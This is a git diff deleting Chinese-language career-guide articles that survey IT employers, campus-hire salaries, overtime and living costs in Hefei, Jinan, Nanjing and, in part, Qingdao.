- -### 海康威视 -![](https://cdn.paicoding.com/stutymore/hefei-20240811074214.png) - -目测合肥海康威视 22届毕业生校招的白菜价是 14k,sp 是 16k。每年期望是 15 薪。海康威视的技术还是不错的,也是能学到不少东西,在合 - -来说,海康威视和一些大厂或者风头正盛的公司肯定没法比,跟中厂比算还不错的。 - -### 大智慧 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074223.png) - -大智慧在合肥也是不错的工作机会,大智慧是做股票软件的,也做了很多年了,产品相对稳定。校招薪资弹性还是挺大的,我看薪资爆料月薪从 13k - 20k 的都有。每年发 14个月的薪资。由于业务比较稳定,所以大智慧相对加班也没那么重。 - -### 中科类脑 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074233.png) - -是中科大旗下的公司,目前还属于创业期,公司发展还不错。没查到校招的薪资,我在 boss 上查了下社招 1-3 年经验的大约 18 - 25k 左右。每年 13 薪。公司核心是算法,如果去做算法岗位我还是比较推荐的,做开发的话性价比一般。公司还属于创业期,所以大部分组加班还是挺多的。 - -### H3C(新华三) - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074246.png) - -合肥新华三目前职工的满意度还是挺高的。针对22届毕业生校招薪资范围基本上是月薪 11.5 - 14.5k,本科大多月薪 11.5k,硕士月薪基本都在 12.5 -14.5k 之间。每月有 1.5k 的浮动绩效。每年 14 个月的薪资。新华三在合肥的建制还挺齐全的,技术也不错,挺值得来。不过新华三对学历卡的还挺严,基本都要 211 以上的。 - -### 腾讯优图 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074255.png) - -上海的腾讯优图给人印象是技术强并且加班不太严重,腾讯优图在合肥也是有设立部门的,不过合肥这边的部门加班是挺严重的,和上海那边的优图差距挺大的。性价比上我感觉合肥的优图和科大讯飞也差不太多。 - -## 银行软件开发中心 - -在现在互联网公司大批量裁人的背景下,越来越多的计算机相关专业的毕业生倾向去银行做 IT 相关的工作,我在调研时发现合肥的银行软件开发中心或者银行的信息科技岗还挺多的。在合肥是很不错的选择。在这里说一下直属总行的软开和省分行科技岗的区别,直属总行的软开会像互联网公司那样专注于承担银行所需软件的开发任务,但是省分行的科技岗就没那么专了,省分行的科技岗大多需要轮岗后才让你专门做信息科技岗的活,信息科技岗写文档的活不会少。总体上来说直属总行的软件开发中心工资会高一点,招聘的量大一些,但稳定性上会比省分行信息科技岗低一些。在合肥的每个大银行的省分行都有信息科技岗,这里主要讲一下在合肥的直属总行的软件开发中心。 - -### 邮储银行软件开发中心 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074307.png) - -邮储在合肥的薪资水平算很高的了,第一年年薪 24w,第二年 28w。但是同时加班强度也贼大,运气好的分到轻松一点的组还好,运气不好的长期996(不对,上班是早上8:30),另外邮储还有个借调机制,就是每年会抽一批人去北京支援半年的时间,来北京这边可不是让你享福的噢,这也是邮储的槽点。目前邮储在网上的评价也两极分化,运气好的分到好的组加班也不多,薪资还挺高,又不用借调,自然把邮储夸上天。运气不好的天天加班又被派到北京,工资也不会比别人多,自然要狠狠骂了。是否要去看大家自己考虑了。 - -### 浦发银行软开(子公司) - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074315.png) - -浦发银行 IT 岗位被子公司化后,性价比就下降了很多,浦发也迎来一波离职潮。目前 HR 说的年薪是 20w,22w,和 24w 三个档 ,但是具体薪资结构不清楚。浦发银行 IT 岗位之前的薪资是拆成 24 个月来发(许多国企都是每月工资很少,年终奖发的多一些),目前子公司是不是这样我就不太确定了。浦发工作基本上是 995 的样子。 - -### 交通银行软件开发中心 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074323.png) - -大家对交通银行的关注度不高,不过合肥的交通银行的软件开发中心也是个不错的地方。校招工资加总包年薪 18w 左右,加班不怎么多,不过技术也相对较差。说是属于总行,但是签约是和安徽省分行签约,社保等也是省分行交,不过我认为和省分行签其实不是坏事。希望稳定一点的去交通银行也不错。 - -### 建行软件开发中心 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074331.png) - -建行也在合肥有软件开发中心,但是建行软开的作风和省分行的信息科技岗几乎一致。也要轮岗然后才能做 IT 开发的活。工作稳定,但是薪资比较低。 - -# 生活成本 - -## 房价 - -相较于合肥的收入水平,合肥的房价其实也并不低了(不过在同类型城市里也不能算房价太高)。安居客上统计合肥今年三月的房均价是 1万4,但是合肥几个比较好的区域比如滨湖新区、高新、政务区等房均价都将近两万五了。在上面我介绍的那些公司工作的话,如果只想在差不多的地段买个差不多大小的房子应该不算吃力。但挑地段还想要个大房子,在这个房价背景下,压力还是挺大的。 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074341.png) - -## 教育 - -定居自然要考虑下一代的教育问题。安徽也是一个高考大省,高考难度不及山东、河南、河北,但也处在高考难度较大的省份之列,安徽理科想上本科还好,安徽文科上本科的难度有点高。另外安徽总体的本科率其实还行,但是安徽高考 211和 985 的本科率却很低。 - -高等教育方面,合肥有中科大是很大的一个优势,中科大一方面培养了很多计算机方面的人才,也孵化出很多高新技术的公司。另外合工大和安徽大学计算机方面也很强,给合肥培养出大量人才,虽然目前还是有点留不住人,但未来还是看好合肥的发展。 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074350.png) - -### 生活舒适度 - -对外交通方面,合肥的地理位置真不错,合肥去南京、武汉、苏州、杭州、上海等大城市都很快,去南京一个小时,去其它几个也就两个多小时。如果没有疫情,在合肥不管出去玩还是出差,都很方便。对内交通方面,堵车还是挺堵的,地铁目前有 5条,地铁数量相对有点少。 - -气候方面,因为合肥冬天没暖气,所以冬天屋里还是挺难受的,不过有些人家会自己在屋子里安装地暖。北方人还是不太能习惯合肥的潮湿。 - -合肥也是很美的一座城市,这些年的空气质量也有了很大的好转。周末休息能在各个景区转一转,晒晒太阳,真是一件十分惬意的事。 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074358.png) \ No newline at end of file diff --git a/docs/src/cityselect/jinan.md b/docs/src/cityselect/jinan.md deleted file mode 100644 index 70623d26db..0000000000 --- a/docs/src/cityselect/jinan.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -category: - - 求职面试 -tag: - - 城市选择 -title: 济南都有哪些值得加入的IT互联网公司? -shortTitle: 济南 ---- - - - -## Part1 工作机会 - -经过调查发现,济南的互联网环境是挺差的,大的公司几乎不会在济南成规模的招程序员。 - -如果你是一个应届毕业生,拿到济南阿里、华为、海康、铁路局等 offer 的话,想要离家近生活比较舒服那么值得去。其余的公司我不建议校招直接去,想去可以先去外面的大公司干几年,社招再回来。除非是没有更好的 offer。 - -另外,如果你想一直待在济南,不如去个有编制的地方,虽然我对技术有执念,但是也不得不承认在山东还是去个有编制的地方香。 - -### 阿里巴巴 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-52693980-e0eb-4781-94ca-fe15c0363410.png) - - -阿里巴巴在济南招开发的部门是本地生活,开发的业务是商家运营和餐饮供应链以及扫码点餐,薪资水平会比杭州北京等地低一些。因为阿里在济南就那么多人,所以 hc 的数量非常有限,我写这篇文章的时候又去阿里招聘网站上搜了下就没岗位信息了,大家有意的多盯着点。另外阿里云在济南也有岗位,不过这种岗位招的都是高 p,名额都是一个两个的招。 - -### 浪潮 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-e99080e9-a5ba-4016-b71c-1be1eb3d67ed.png) - - -济南是浪潮的大本营,浪潮在济南的岗位非常多,软件、硬件、算法都有。校招待遇方面受岗位和学历的影响很大,硕士会比本科生高一两千,算法,ic 类岗位的薪资会比软件开发多不少。月薪基本在 9-15k 之间, 如果你是本科且做软件开发,基本上就是 9-10k 了,好一些学校的硕士且岗位是算法之类的月薪差不多会在15k 左右。另外浪潮每月有加起来 1k 的房补,公积金满额。工作强度方面,浪潮加班很猛,但是除了法定节假日有加班费外,平时加班就没加班费了。 - -### 华为 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-f74af12b-73e1-4455-8ad9-1cecda84a21a.png) - - -对,你没看错,华为在济南是招开发岗的,不过 hc 不多。在济南的华为每年校招的 hc 就是个位数,社招想进去的话基本上就是通过华为 OD 了。 - -很多同学好奇华为OD 和华为正式 offer 的区别,我也就这个问题请教了下在华为工作的我的同学。听到的说法是,目前华为社招卡的很严,除非是 17 或 18 以上的高职级,否则都需要以 OD 的形式进华为。 - -如果你校招曾经拿过华为的 offer 但是没去,那么以后社招也是有可能直接给你正式 offer 的。华为 OD 是和外企德科签(外企德科这个名字确实有点逗,虽然他叫外企德科但是他不是外企),OD 和华为正式员工是同工同酬,不过没有股票,稳定性也和正式职工差点。 - -这点和软通动力、中软国际等派到华为工作的不太一样,软通动力和中软国际有一套自己的薪资体系。华为 OD 每年会有一次变成正式职工的机会。 - -济南这边的华为貌似是一个研发中心的分部(好像是南京研发中心的分部),公司注册地不在济南,无法领取济南市政府的人才补贴(硕士每月有一千左右的人才补贴)。我看济南这边有校招 14 级的同学爆料薪资是 19k x 14,其中每月有 4k 是绩效,公积金按工资的 5%交。 - -### 海康威视 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-60bc84b2-fd87-4c7a-bcb0-da6134786313.png) - - -海康威视也是济南程序员比较不错的去处了,硕士大部分月薪是 13k ,少量能到 15k,本科生进海康貌似统一价都是 9k,每年13-15 个月的薪资。每天有 45 的餐补,10块钱的交通补,通讯补贴每月 200。月薪的20% 是绩效,按基本工资的 12% 缴纳住房公积金。工作制度是大小周。虽然海康有很多槽点,但是技术还是不错的,有不少值得学习的地方,另外能在济南给到这个薪资,我觉得还是不错的。 - -### 联通软件研究院 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-d10a741e-bc19-4c92-b03d-9f7f295837d9.png) - - -目前看爆料济南的联通软件研究院情况的基本都是硕士,税前 9k(本科还要少一点),每年 15-16个月的薪资,额外还会有一些补贴。摆明说要加班,工作制度基本 996,且加班没有加班费。目前网上的评价不是太好。在所有的联通软件研究院里算比较卷的。 - -### 中国重汽 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-97191e20-997b-4203-9f23-1c761154bde8.png) - - -重汽招的软件开发的岗位也不少,校招进去月薪是 15-20k x 12,年终奖很少,就几千。另外第二年会把薪资的一部分转化成绩效,绩效不达标薪资就发不满了,相当于变相降薪。重汽虽然是国企,但不太像国企的作风,有末尾淘汰,周末经常加班。好像前几个月还要轮岗,上流水线跟工人一块组装汽车。 - -### 铁路局济南信息所 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-f6c82ef5-14a6-4c9c-8bc2-56b4b59c9152.png) - - -hr 说的税前年薪总包是 15 w,网上的信息比较少,盲猜风格应该和郑州铁路局的信息所差不多,应该是会有加班,但工作稳定。 - -### 齐鲁空天信息研究院 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-ea15afb0-62d8-4031-9c20-13a04da269d2.png) - - -薪资差不多是税前 12k x 14 的样子,但是每月工资里面一部分是绩效,如果项目不多的话绩效拿不满。另外出差很多,感觉性价比一般。 - -济南我了解到的大型的公司且招程序员的只有这么多了。倒是还有很多小型公司,大家可以在 boss 、拉钩等招聘网站直接搜,因为这些公司信息很少,我没了解到什么有效信息,就不介绍了。大家如果还知道哪些不错的济南的程序员的工作机会,也欢迎跟我说。对了,我了解到山东高速会招一些程序员,待遇不错,大家可以去详细了解下。 - -## Part2 生活 - -### 房价 - -相比于济南的工资水平,济南的房价真的是有点高啊。济南的房价前段时间一直跌,但目前在同类型二线城市中,依然算房价偏高的了。我在网上找了个图,不是太准,大家可以做个参考。在济南工资的背景下,在济南年轻人买房压力是挺大呀! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-6f426bc3-7dbc-4bd8-91c1-4660a945a5f5.png) - - -### 教育 - -教育上不用我多说,山东的教育真的是太卷了,山东的高考难度真的是地狱级。我身边的山东同学都学习挺不错的,也难怪,在山东杀出重围考上好一点大学的,当年在山东那都是英雄一般的人物。读研时带我的师兄,以及好几个关系不错的同学,还有我现在的组长都是山东的,他们都给我一种很努力,肯吃苦,且很踏实的感觉。我是挺喜欢和山东人相处的。 - -高校的计算机专业资源方面,感觉济南不如青岛,中国海洋大学和中国石油大学都在青岛,山东大学的计算机专业一部分也放在了青岛。这样感觉济南今后计算机人才的积累肯定不如青岛。所以计算机相关行业发展我还是更看好青岛了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/jinan-d222ea8c-6d83-4cd6-8cf7-3f7fd2fa1838.png) - - -### 风景 and 交通 and 美食 - -济南的风景很漂亮,趵突泉,大明湖,黑虎泉,千佛山,百花洲这些景点都是我从小就听说过的,周末去转一转也是很惬意的事情。交通方面济南是挺堵的,感觉交通的规划上存在问题,所以刚上班租房的时候,宁可租的房子小一点,破一点,也要住的离公司近一点,不然上班时候堵车可真难顶。饮食方面,鲁菜爱倒酱油,口味会偏咸,不过济南对饭菜口味的包容性很强,各种菜系都能找到。 - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/5rjqpY4Wxs0wEw7VuHXIpg](https://mp.weixin.qq.com/s/5rjqpY4Wxs0wEw7VuHXIpg) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/cityselect/nanjing.md b/docs/src/cityselect/nanjing.md deleted file mode 100644 index 0e5134dcfc..0000000000 --- a/docs/src/cityselect/nanjing.md +++ /dev/null @@ -1,197 +0,0 @@ ---- -shortTitle: 南京 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 南京都有哪些值得加入的IT互联网公司? - - - -大家好呀,我是二哥。被读者催了好久,大白终于把南京的互联网公司调研完毕了,今天就赶紧给大家分享一波。南京是很有吸引力的一座城市, 20 年和纯洁的微笑、江南一点雨、cxuan 等一众人相约南京面基了三天,真心怀念。 - -有句话说的很对,“安徽不能没有南京,就像东北不能没有三亚”。不过调研中也发现,对于程序员来说,想要在南京留下也不是件很容易的事情,因为南京程序员的工作机会只能算一般,薪资水平这两年许多大公司选择在南京设立分部后才带起来一些,但是南京的房价已经很高了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-707d074e-def7-4cd3-af0a-84e46a0929a9.png) - -提一下哈,在这个系列里说的校招薪资都是常规招聘计划的薪资,说的常规招聘计划给出的 offer 包含普通 offer,sp (special offer) 和 ssp。不包含那些比如华为天才少年、美团北斗之类的。那种神仙 offer 怎么样我这种凡人还真不了解。这些招聘的薪资也都是针对本科生和研究生的。如果你是博士,薪资方面和公司都好商量。 - -南京的信息感觉相对较少,调研过程中几次自闭。所以校招薪资大家就当个参考,不是特别的准确,不过公司整体的基调应该都反映出来了。 - -## 私企 - -### 阿里巴巴 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-f55e084c-f731-419b-af71-278ac8e7b15c.png) - -校招薪资:招的人不多,具体薪资情况不太清楚。据说和总部薪资水平差不多。阿里的薪资水平可以参考下[链接](https://mp.weixin.qq.com/s/3c-a7GpkTzAU2DFWSwN4lw)。 - -个人评价:阿里巴巴在南京招人的部门主要是 CCO,阿里云也会有一些名额。岗位是挺齐全的,前端、后端、测试、算法都有。今年的校招 CCO 也就招了 20 个左右。 - -### 字节跳动 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-f945934a-3ab8-4272-a8b2-7001ea396377.png) - -校招薪资:字节在南京的薪资是字节在北京上海深圳薪资的 0.9。感觉薪资水平挺不错了。今年字节校招薪资也可以点这个[链接](https://mp.weixin.qq.com/s/3c-a7GpkTzAU2DFWSwN4lw)查看。 - -个人评价:南京这边字节的部门还是挺多的,游戏中台、客户端、数据平台、广告算法这些团队都在招人。团队也不能算边缘,在南京字节工作的话还是挺不错的。 - -### 荣耀 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-8470d707-53c6-4c07-8160-50759ad9d50b.png) - -校招薪资:月薪 17k - 27k(对应13-15级),每年 14-16 薪。 - -个人评价:对于不太关注新闻的学生荣耀可能不太熟悉,今天展开介绍一下,你会发现接下来连着几家都是卖手机做通讯的。华为之前有荣耀手机的业务线,荣耀手机一直走价格较低的大众化路线,后来因为美国制裁,所以荣耀被拆了出来。目前荣耀大部分人员都是华为过来的,最近也在大量招人。所以荣耀目前可以看作一个翻版华为,各方面都是在学华为,但是后期能不能学的像就另说了。 - -荣耀和华为校招面试时方法一样,根据你面试的表现给你定级,然后通过所定的级别来和你谈薪。大部分本科生是13级,面试表现很好的话可能会定到 14 级。研究生大部分是 14级,一些面试表现一般的可能也会定到13级。15级基本上需要读书期间发过有含金量的论文或者参与过重大开源项目。南京荣耀工作制度基本上就是 996。 - -### 华为 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-f8ba1f60-c3bc-450b-b833-54db9bfdb807.png) - -校招薪资:13级月薪 20-21k,14 级 23-25k,15级月薪 26-27k。每年 14-16 薪。16级我就不清楚了。 - -个人评价:感觉华为今年校招薪资水平提升了不少,我校招那年抠的要死,14a 才能给到 19k。要是今年这薪资水平我很可能就留到西安华为了,也就不北漂了。不过华为只给 5% 的公积金是有点低。感觉华为想要评到15级以上是需要你在读书期间有一些能证明你能力的东西,比如比较有含金量的论文,或者参与过重大的项目。如果手里没含金量的东西,靠面试表现来说最多也就是给到14级了。(反正我面试那年是这样)。华为对于部分特别牛逼的硕士会给到 16级。南京华为在几个研发中心算是加班比较少的,只是相对啊. - -### 小米 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-bfb9cd80-f9b5-4ea7-b4f6-a15e54cf3c4b.png) - -校招薪资:小米的薪资是挺抠,不过放在南京来看也还行。看校招薪水上南京的薪资爆料今年有 11k,14k,16k,18k,19k,21k,23k 几个档。11k,14k基本都是本科生,硕士做开发岗的大部分是16k,18k,19k这几个档。20k 以上的基本都是做算法的。 - -个人评价:南京的小米算是一个比较大的研发中心,有些小米比较核心的部门。南京小米大部分组周末双休是能保证的,周内上班到几点各组情况不一致,总体上就是 995 这么个情况。 - -### Vivo - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-7d676f6f-b081-4eb7-a2ce-3590a04b2fcd.png) - -校招薪资:南京这边目前看到给应届生的价钱分为月薪17k,20k,24k三个档,,每年15薪。额外每个月有 1500 的租房补贴。住房公积金5%。 - -个人评价:之前 Vivo 是有大小周的(就是隔一周一次单休),去年九月份统一成双休了,工作制度差不多 995 或者 9105 的样子。周内就没时间干别的事了,不过 Vivo 这个薪资在南京确实算是还不错了。 - -### OPPO - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-9ad6c7fe-c486-4628-8e07-f21b3e2cac6d.png) - -校招薪资:具体薪资不太清楚,大致应届生月薪在 20k 上下,每年 14 -15 个月薪资。 - -个人评价:OPPO 的薪资没调查清楚,信息比较少,不过应该和 VIVO 差不多。蓝绿两厂都是从步步高拆分出来的,两兄弟从薪资上以及工作模式上都很像。OPPO 和 VIVO 在南京都算是不错的选择。 - -### 中兴 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-094809df-30b0-40c6-a1a5-f1e0a5329b6a.png) - -校招薪资:中兴常规计划(指的是普通 offer)的月薪基本都在20k 以内,蓝剑计划年薪会在 40w 以上。 - -个人评价:中兴这两年的竞争力一直处在一个下滑的状态,感觉蓝剑计划还不错,但是名额很少,一个部门只有一两个名额。当时中兴蓝剑计划来我们学校宣讲过,我和一个部门的 leader 下来聊了下,看了我的情况以后说常规批次的最高的 offer 给我没问题,但是蓝剑他们目前备选的两个人手上都有含金量很高的论文和项目,我和人家差距很明显。中兴常规招聘计划的 offer 和大部分大公司就没法比了。 - -### 360 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-0bec3704-902d-4b8b-90b7-4ab5fc28a79d.png) - -校招薪资:没调查清楚,年薪差不多 23w 左右。 - -个人评价:南京360有建邺区和九龙湖两个办公区,九龙湖的业务比较核心。360 目前工作生活比较平衡,在介绍北京时详细介绍过 360,大家可以点这里进去看下,来北京 360 我还是比较推荐的。南京 360 主要做 toB 业务,目前南京 360 的状况不太好,还传出过南京业务团队会被撤掉的传言(这只是传言啊,真实性不是很高,但是也反映出 360 南京业务情况不太好)想要去的话大家自己一定要问清楚。 - -### 深信服 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-5041109f-e9d8-4419-9f41-466f93708c53.png) - -校招薪资:开发岗有3个档,月薪分布在15.6 - 22.8k 这个区间,算法岗也是三个档,月薪分布在19 - 25.2k 这个区间。每年13 - 15 薪 - -个人评价:深信服总体来说加班挺严重的,不过南京的深信服相对深圳稍微好一点。比较好的就是深信服技术还不错,另外付出和收入成正比,其实大部分人不是吃不了苦,而是工作时付出和收入不成正比。 - -### 趋势科技 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-f60ae6ee-13d7-4efc-bd5a-a0334b76c6e3.png) - -校招薪资:看到校招薪资爆料有三个档,分别是年薪 20w,23.5w 和 25w。 - -个人评价:趋势科技是一家外企,在南京很多年了,在安全方面做的不错。可以看出来,趋势科技的工资不算高(这个薪资在前两年还可以,但在今年各大厂校招薪资大涨的情况下就不太够看了),工资低伴随着公司很多技术大神流失。并且公司在20年底有次大的人员架构调整,也走了很多人。目前公司只是胜在工作轻松加班少了。 - -### 亚信安全 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-97e8edd1-2a4d-492c-9039-febbae881c05.png) - -校招薪资:基本上月薪在15-18.5k 这个区间,每年 13- 15薪。 - -个人评价:亚信安全主要做运营商的项目。亚信科技知乎上被喷的还挺多的,不过亚信安全目前风评还可以,加班少些。 - -### SHEIN - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-fc7ddb5b-cbc1-482f-9087-ea9e3e136795.png) - -校招薪资:目前看校招薪资爆料月薪基本集中在16-23k,有个说自己 27k 的不知道真的假的(如果是真的,感觉 SHEIN 大部分老员工要RUN了)。每年14薪。 - -个人评价:SHEIN 我曾经还拿过这家公司的 offer。公司做跨境电商的,主要卖女装。面试相对容易一些,基本就是问些常问的八股文,都没让我手撕代码。SHEIN 技术还行,一些拿不到大厂 offer 的同学,先去这里也还不错。另外就是我听说南京的 SHEIN 越来越卷了,不是曾经的 965 了。 - -### 满帮集团 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-ec98654b-0bcf-4e96-bb52-fe7ebd2a6c55.png) - -校招薪资:校招薪水上的爆料开发月薪基本都在 20-30k 这个区间,算法基本都在 27-36k 这个区间。大部分人每年 14 薪。 - -个人评价:满帮就是南京的本土企业,主要是做货运业务的。南京这边能给出上面的薪资,确实难得,不过从给这么多钱就能看出来,加班肯定少不了。满帮目前招人挺多的。 - -## 国企 - -### 中电系列 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-21fd091d-8afd-4cde-8fbd-a78b3c805085.png) - -南京有中电 28 所、中电 14 所、中电 841 所。有一些读者跟我说想去研究所,想法是去研究所可以工作生活平衡。但是现在有很多的研究所其实很忙的,工作生活平衡的研究所尤其不包括南京这几个。841 所还不是特别清楚。大部分互联网公司和中电 28 所以及 14 所 比起来还真是弟弟,不过根据南京的薪资的水平来说,这两个所得福利待遇算是顶级了。刚毕业的应届生进去工资大概每月到手是一万出头吧,有食堂有宿舍,出差会有出差补贴,差不多一天三四百,这几个所出差会非常的多。 - -### 南瑞集团(国网电科院) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-aff2d53a-95b6-4654-baac-ebc2ba39fc25.png) - -南瑞集团是国家电网直属的科研企业单位,主要做电力系统自动化相关设备,所以会招很多程序员。年薪 14 万左右。南瑞要给各个省公司做电力软件,所以出差的情况会非常多。面试上南瑞以后你还没有国家电网编制,想要编制还要去参加电网的考试。感觉性价比一般,不如去省公司,听说省公司工资还挺高的。 - -### 运营商 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-6f4cd4bc-e1da-496c-bf00-7ef2e6089dee.png) - -几个运营商里只有联通在南京有研究院专门做软件相关,除此之外想去运营商就只有省公司了。一些运营商的子公司我就不多介绍了,我是感觉国企的子公司性价比一般,既没有国企的稳定也没互联网的高薪。 - -### 烽火 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-d16dd7fe-f7a0-4f70-a016-f88350a56fa7.png) - -简单说下烽火,下面有烽火星空还有烽火通信。是国企,不过感觉一直处于一个乙方的位置。项目很多是涉密项目,但是我劝大家尽量少碰涉密类型的项目。如果手头没大公司可以去烽火锻炼下,如果有其它大公司的 offer,我感觉还是优先其它大公司了。 - -## 生活 - -### 房价 - -房价这里想多说一点,有些还没毕业的同学问我应该怎么选择幸福感高的城市。其实我的感觉是你在一座城市的幸福感很大程度取决于你工资和房价的比值,其它因素都是次要的。平均下来你每月的工资接近你所在城市还可以的区域的房价,那么你生活的就很舒服。就比如你工资每月到手一万二三,你所在城市房价也一万二三或者稍多点,那你买房压力并不大。但是如果你所在城市房价很高,就比如北京。你每月到手两三万的工资已经很厉害了,然而像昌平差不多的地段房价都四万以上了,那你买房压力肯定很大,换而言之你生活的幸福感肯定不高。天天租房还和人合租,能有啥生活幸福感?当然对于那些想待几年学点东西就撤的同学另当别论哈,我说的是定居的考虑。 - -南京的房价还是比较高的,比较好的区域的房价直逼一线城市了,对于刚毕业的学生来说压力很大了,感觉这个房价应该逼走不少人。 另外南京物价也不低噢。下面这张图是网上找的,不一定准,可以当作参考。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-b5247968-f8fa-445a-b83e-7d88fbb056c7.png) - -### 教育 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-61b6b641-72d1-45d2-be1e-463c7d1d7f9c.png) - -南京高校资源方面很强。南京大学、东南大学、南航、河海大学、南理工等等都是很不错的学校。另外南邮、南京工业大学这些双非学校的计算机也很强。感觉近几年各个大厂陆续在南京设分布也是看中了南京有大量的计算机相关专业的毕业生。 -江苏高考题的难是出了名的,当然江苏省的中小学教育资源也很优质,所以在教育这方面选择南京还是不错的。 - -### 交通&风景&气候&美食 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/nanjing-9da3efca-ceb7-4685-9932-6613ea2ea1c6.png) - -南京拥堵程度是上过全国前十榜单的,我租房是喜欢宁愿住的小一点差一点也尽可能离上班地方近一点,我比较抗拒通勤。宏观上来说,南京的地理位置特别好,离苏州、杭州、上海都很近,另外离安徽也很近,这也是安徽人喜欢往南京跑的原因。 - -南京的风景不用多说,六朝古都的文化底蕴加上江南细腻的风景足够让人流连忘返,周末出去转一转还是挺令人放松的。 - -南京气候感觉不怎么好,很潮,另外南京到夏天总会下很大的雨,我同学本科在南京上的,校园经常就被淹了。 - -南京菜是挺有名的,南京菜比较杂,融合了很多地方的风味。大家应该都能找到适合自己口味的菜。 - - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/CfZ1CEmtPOP4TAwAs8Ocrw](https://mp.weixin.qq.com/s/CfZ1CEmtPOP4TAwAs8Ocrw) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/qingdao.md b/docs/src/cityselect/qingdao.md deleted file mode 100644 index f100d03eda..0000000000 --- a/docs/src/cityselect/qingdao.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -shortTitle: 青岛 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 青岛都有哪些值得加入的IT互联网公司? - - - -上次发了郑州都有哪些好的互联网公司后,意外地发现青岛的呼声挺高,再加上我之前去青岛旅游过一次,对青岛的印象特别好,所以今天就来把青岛安排上。 - -当时我妹还在沙滩上留了一张“沉默王二在青岛”的印迹。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-938dc8a2-9b47-4e12-aa45-79c2caf94f04.png) - -按照我妹的说法,“青岛真是一座网红城市,美女是真多!” - -如果在海边有几套房,租出去,再有一个编制的好工作,简直在青岛的生活不要太惬意!下面我就把招程序员的公司来捋一遍吧。 - -## 工作机会 - -青岛软件行业的发展太滞后了,没有大规模的软件公司,做软件的公司大部分都是外包公司,而且规模还很小。 - -### 海尔 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-e656449e-a34f-4915-a1cb-459208d23e34.png) - -海尔在青岛多年了,曾经有段辉煌期的。我舍友带着我在山东哈酒时,一个老大哥在酒桌上就跟我们聊起来,说他当初在海尔买家都是要请他们吃饭才卖给产品的。不过近些年海尔就不太行了,但依然在青岛是个工作上的好选择。海尔 Java 岗位给应届 985 硕士的报价是年薪 14 万。本科生相对少一点,年薪大概在 8万 到 12万 左右。我路过海尔时感觉海尔的园区还修的挺漂亮的。另外说一句,感觉海尔卡奥斯还行,在工业互联网领域做的还可以。 - -### 海信 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-9645cf8d-d9dc-4de7-a192-bdb9a447ec49.png) - -我之前总觉得海信和海尔有某种联系,不过我查了下并没有,路过海信的园区时觉得海信也修的挺漂亮的。一个 211 硕士爆料的薪资是每月 10k,然后一年 13 个月工资。福利待遇方面感觉还可以,前两年有免费宿舍,交通补贴每月 200,住房补贴 800 每月,可以领三年。试用期 6 个月,试用期间 90% 薪资,免费班车,公积金 10%,社保全额。工作早9晚6,中午休息一小时。 - -另外就是如果还是喜欢互联网氛围的话去海信聚好看比较好,就是海信电视上那个 APP ,听说技术还不错,给的工资也相对较高。不过加班多啊。 - -### 光大银行青岛研发中心 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-7351e8f8-90d5-4f3c-998a-703b36ec1fca.png) - 